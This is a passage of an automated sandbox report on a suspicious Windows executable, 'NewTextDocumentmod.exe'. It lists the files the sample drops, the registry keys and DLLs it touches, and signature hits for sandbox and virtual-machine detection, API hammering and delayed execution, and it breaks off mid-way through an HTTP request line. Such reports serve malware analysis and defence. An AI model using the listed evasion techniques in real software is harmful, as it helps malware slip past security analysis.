[%TEMP%\_ir_sf_temp_0\Menu6Text1TR.html]- [targetUID: 00000000-00005524] "Menu2Text1NO.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1NO.html]- [targetUID: 00000000-00005524] "Menu2Text1DK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1DK.html]- [targetUID: 00000000-00005524] "Menu6Text1EE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1EE.html]- [targetUID: 00000000-00005524] "Menu6Text1SI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1SI.html]- [targetUID: 00000000-00005524] "Menu6Text1JP.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1JP.html]- [targetUID: 00000000-00005524] "Menu2Text1SE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1SE.html]- [targetUID: 00000000-00005524] "Menu6Text1HR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1HR.html]- [targetUID: 00000000-00005524] "Menu6Text1FI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1FI.html]- [targetUID: 00000000-00005524] "Menu6Text1KR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1KR.html]- [targetUID: 00000000-00005524] "Menu2Text1CNTR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1CNTR.html]- [targetUID: 00000000-00005524] "Menu5Text1FR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1FR.html]- [targetUID: 00000000-00005524] "Menu2Text1CN.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1CN.html]- [targetUID: 00000000-00005524] "Menu5Text1DE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1DE.html]- [targetUID: 00000000-00005524] "Menu5Text1DK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1DK.html]- [targetUID: 00000000-00005524] "Menu5Text1BR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1BR.html]- [targetUID: 00000000-00005524] "Menu5Text1ES.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1ES.html]- [targetUID: 00000000-00005524] "Menu5Text1IT.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1IT.html]- [targetUID: 00000000-00005524] "Menu6Text2KR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2KR.html]- [targetUID: 00000000-00005524] "Menu6Text2JP.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2JP.html]- [targetUID: 00000000-00005524] "Menu5Text1SE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1SE.html]- [targetUID: 00000000-00005524] "Menu6Text2NL.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2NL.html]- [targetUID: 00000000-00005524] "Menu6Text2BR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2BR.html]- [targetUID: 00000000-00005524] "Menu6Text2ES.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2ES.html]- [targetUID: 00000000-00005524] "Menu5Text1NL.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1NL.html]- [targetUID: 00000000-00005524] "Menu5Text1EN.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1EN.html]- [targetUID: 00000000-00005524] "Menu6Text2FR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2FR.html]- [targetUID: 00000000-00005524] "Menu5Text1NO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1NO.html]- [targetUID: 00000000-00005524] "Menu6Text2SE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2SE.html]- [targetUID: 00000000-00005524] "Menu6Text2IT.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2IT.html]- [targetUID: 00000000-00005524] "Menu6Text2DK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2DK.html]- [targetUID: 00000000-00005524] "Menu6Text1DE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1DE.html]- [targetUID: 00000000-00005524] "Menu6Text2DE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2DE.html]- [targetUID: 00000000-00005524] "Menu6Text1FR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1FR.html]- [targetUID: 00000000-00005524] "Menu6Text1IT.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1IT.html]- [targetUID: 00000000-00005524] "Menu6Text2NO.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2NO.html]- [targetUID: 00000000-00005524] "Menu6Text1ES.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1ES.html]- [targetUID: 00000000-00005524] "Menu6Text1DK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1DK.html]- [targetUID: 00000000-00005524] "Menu6Text1SE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1SE.html]- [targetUID: 00000000-00005524] "Menu6Text1NO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1NO.html]- [targetUID: 00000000-00005524] "Menu6Text1BR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1BR.html]- [targetUID: 00000000-00005524] "Menu6Text1EN.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1EN.html]- [targetUID: 00000000-00005524] "Menu5Text1CNTR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1CNTR.html]- [targetUID: 00000000-00005524] "Menu5Text1CN.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1CN.html]- [targetUID: 00000000-00005524] "Menu6Text1NL.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1NL.html]- [targetUID: 00000000-00005524] "Menu6Text1CN.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1CN.html]- [targetUID: 00000000-00005524] "Menu6Text1CNTR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1CNTR.html]- [targetUID: 00000000-00005524] "Menu3Text2RO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2RO.html]- [targetUID: 00000000-00005524] "Menu3Text2BG.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2BG.html]- [targetUID: 00000000-00005524] "Menu3Text2HU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2HU.html]- [targetUID: 00000000-00005524] "Menu3Text2PH.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2PH.html]- [targetUID: 00000000-00005524] "Menu3Text2MK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2MK.html]- [targetUID: 00000000-00005524] "Menu3Text2SK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2SK.html]- [targetUID: 00000000-00005524] "Menu3Text2SRCR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2SRCR.html]- [targetUID: 00000000-00005524] "Menu3Text2LV.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2LV.html]- [targetUID: 00000000-00005524] "Menu3Text2SR.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2SR.html]- [targetUID: 00000000-00005524] "Menu3Text2BA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2BA.html]- [targetUID: 00000000-00005524] "Menu3Text2CA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2CA.html]- [targetUID: 00000000-00005524] "Menu3Text2PL.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2PL.html]- [targetUID: 00000000-00005524] "Menu3Text2BY.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2BY.html]- [targetUID: 00000000-00005524] "Menu3Text2UA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2UA.html]- [targetUID: 00000000-00005524] "Menu3Text2LT.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2LT.html]- [targetUID: 00000000-00005524] "Menu3Text2CZ.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2CZ.html]- [targetUID: 00000000-00005524] "Menu3Text2GR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2GR.html]- [targetUID: 00000000-00005524] "Menu3Text2RU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2RU.html]- [targetUID: 00000000-00005524] "Menu3Text2MY.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2MY.html]- [targetUID: 00000000-00005524] "Menu3Text2JP.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2JP.html]- [targetUID: 00000000-00005524] "Menu3Text2SI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2SI.html]- [targetUID: 00000000-00005524] "Menu3Text2FI.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2FI.html]- [targetUID: 00000000-00005524] "Menu3Text2HR.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2HR.html]- [targetUID: 00000000-00005524] "Menu3Text2ID.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2ID.html]- [targetUID: 00000000-00005524] "Menu3Text2AR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2AR.html]- [targetUID: 00000000-00005524] "Menu3Text2TR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2TR.html]- [targetUID: 00000000-00005524] "Menu3Text2EE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2EE.html]- [targetUID: 00000000-00005524] "Menu3Text2KR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2KR.html]- [targetUID: 00000000-00005524] "Menu6Text2CNTR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2CNTR.html]- [targetUID: 00000000-00005524] "Menu6Text2CN.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2CN.html]- [targetUID: 00000000-00005524] "Menu6Text2EN.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2EN.html]- [targetUID: 00000000-00005524] "Menu3Text2FR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2FR.html]- [targetUID: 00000000-00005524] "Menu3Text2DE.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2DE.html]- [targetUID: 00000000-00005524] "Menu3Text2ES.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2ES.html]- [targetUID: 00000000-00005524] "Menu3Text2IT.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2IT.html]- [targetUID: 00000000-00005524] "Menu3Text2SE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2SE.html]- [targetUID: 00000000-00005524] "Menu3Text2NL.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2NL.html]- [targetUID: 00000000-00005524] "Menu3Text2NO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2NO.html]- [targetUID: 00000000-00005524] "Menu3Text2DK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2DK.html]- [targetUID: 00000000-00005524] "Menu3Text2BR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2BR.html]- [targetUID: 00000000-00005524] "Menu3Text2EN.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2EN.html]- [targetUID: 00000000-00005524] "Menu3Text2CNTR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2CNTR.html]- [targetUID: 00000000-00005524] "Menu3Text2CN.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text2CN.html]- [targetUID: 00000000-00005524]6b:T4ce,"C8c1bbe.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections" "is-GGR2F.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections" "is-GC82H.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections" "is-0QRHU.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections" "is-VDH2G.tmp" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections" "GL0ygTD.tmp" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections" "tmpFB41.tmp" has type "PE32+ executable for MS Windows 4.00 (GUI) x86-64 Mono/.Net assembly 2 sections" - Location: [%TEMP%\tmpFB41.tmp] "is-CLTRJ.tmp" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 19 sections" "is-4KKMM.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 4 sections" "is-R5VH8.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections" "is-2JO42.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections" "is-L44IL.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections" "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"6c:T528,"NewTextDocumentmod.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: ""; Value: "") "NewTextDocumentmod.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: ""; Value: "") "NewTextDocumentmod.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: ""; Value: "") "NewTextDocumentmod.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "NewTextDocumentmod.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "NewTextDocumentmod.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "NewTextDocumentmod.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: ""; Value: "") "NewTextDocumentmod.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "NewTextDocumentmod.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "")6d:T8a5,"NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "FIRSTENTRY"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "LASTENTRY"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2025"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2007"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "")6e:T41a,"NewTextDocumentmod.exe" reads file "c:\windows\microsoft.net\framework64\v4.0.30319\config\machine.config" "NewTextDocumentmod.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll.aux" "NewTextDocumentmod.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system\ce0fd4f5b50baa17e7b80e4ee874ad11\system.ni.dll.aux" "NewTextDocumentmod.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\microsoft.v9921e851#\46c2f46666e40896049aed7e4ed25573\microsoft.visualbasic.ni.dll.aux" "NewTextDocumentmod.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.core\990501e6199819806f01c8ecac88baac\system.core.ni.dll.aux" "NewTextDocumentmod.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.configuration\2a25b59872a72da9b55f952ab1b0bc8b\system.configuration.ni.dll.aux" "NewTextDocumentmod.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.xml\f0078c8c05b31633e5966c5629e65602\system.xml.ni.dll.aux"6f:T539,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment using user register activity Matched sigs: Able to identify virtual environment by using API string Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Contains ability to detect virtual environment Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Contains ability to detect sandbox (imports API) Matched sigs: Makes a code branch decision directly after an API that is environment aware Matched sigs: Contains ability to detect virtual environment (API) Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Triggers a burst of requests to the same API (API Hammering) Matched sigs: Contains ability to delay the execution of current thread Matched sigs: Contains ability to query volume size Matched sigs: YARA signature match - References common sandbox DLLs (sandbox evasion)70:T4b4,"NewTextDocumentmod.exe" trying to touch file "C:\Windows\System32\mscoree.dll" "NewTextDocumentmod.exe" trying to touch file "C:\Windows\System32\apphelp.dll" "NewTextDocumentmod.exe" trying to touch file "C:\NewTextDocumentmod.exe" "NewTextDocumentmod.exe" trying to touch file "C:\Windows\System32\ntdll.dll" "NewTextDocumentmod.exe" trying to touch file "C:\Windows\System32\kernel32.dll" "NewTextDocumentmod.exe" trying to touch file "C:\Windows\System32\KernelBase.dll" "NewTextDocumentmod.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "NewTextDocumentmod.exe" trying to touch file "C:\Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb" "NewTextDocumentmod.exe" trying to touch file "C:\Windows\System32\fltLib.dll" "NewTextDocumentmod.exe" trying to touch file "C:\windows\temp\VxOle64.dll" "NewTextDocumentmod.exe" trying to touch file "C:\WINDOWS\system32\IMM32.DLL" "NewTextDocumentmod.exe" trying to touch file "C:\Windows\System32\imm32.dll" "NewTextDocumentmod.exe" trying to touch file "C:\CRYPTSP.DLL" "NewTextDocumentmod.exe" trying to touch file "C:\WINDOWS\SYSTEM32\CRYPTSP.DLL" "NewTextDocumentmod.exe" trying to touch file "C:\Windows\System32\cryptsp.dll"71:Tb0a,"NewTextDocumentmod.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "NewTextDocumentmod.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_1_CLR0400.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\profapi.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\CRYPTBASE.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\ncrypt.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\NTASN1.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" "NewTextDocumentmod.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll"72:T50d,"NewTextDocumentmod.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "NewTextDocumentmod.exe" trying to access non-existent file "C:\NewTextDocumentmod.exe.config" "NewTextDocumentmod.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "NewTextDocumentmod.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\New Text Doea2864ed#" "NewTextDocumentmod.exe" trying to access non-existent file "C:\NewTextDocumentmod.INI" "NewTextDocumentmod.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}" "NewTextDocumentmod.exe" trying to access non-existent file "\Device\RasAcd" "NewTextDocumentmod.exe" trying to access non-existent file "STORAGE#Volume#{5781f570-2b3b-11ee-88a5-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\" "NewTextDocumentmod.exe" trying to access non-existent file "STORAGE#Volume#{5781f570-2b3b-11ee-88a5-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}" "NewTextDocumentmod.exe" trying to access non-existent file "C:\a\02.08.2022.exe:Zone.Identifier" "NewTextDocumentmod.exe" trying to access non-existent file "C:\Windows\SystemResources\USER32.dll.mun"73:T54a,Found http requests in header "GET /downloads/text_online/" Found http requests in header "GET 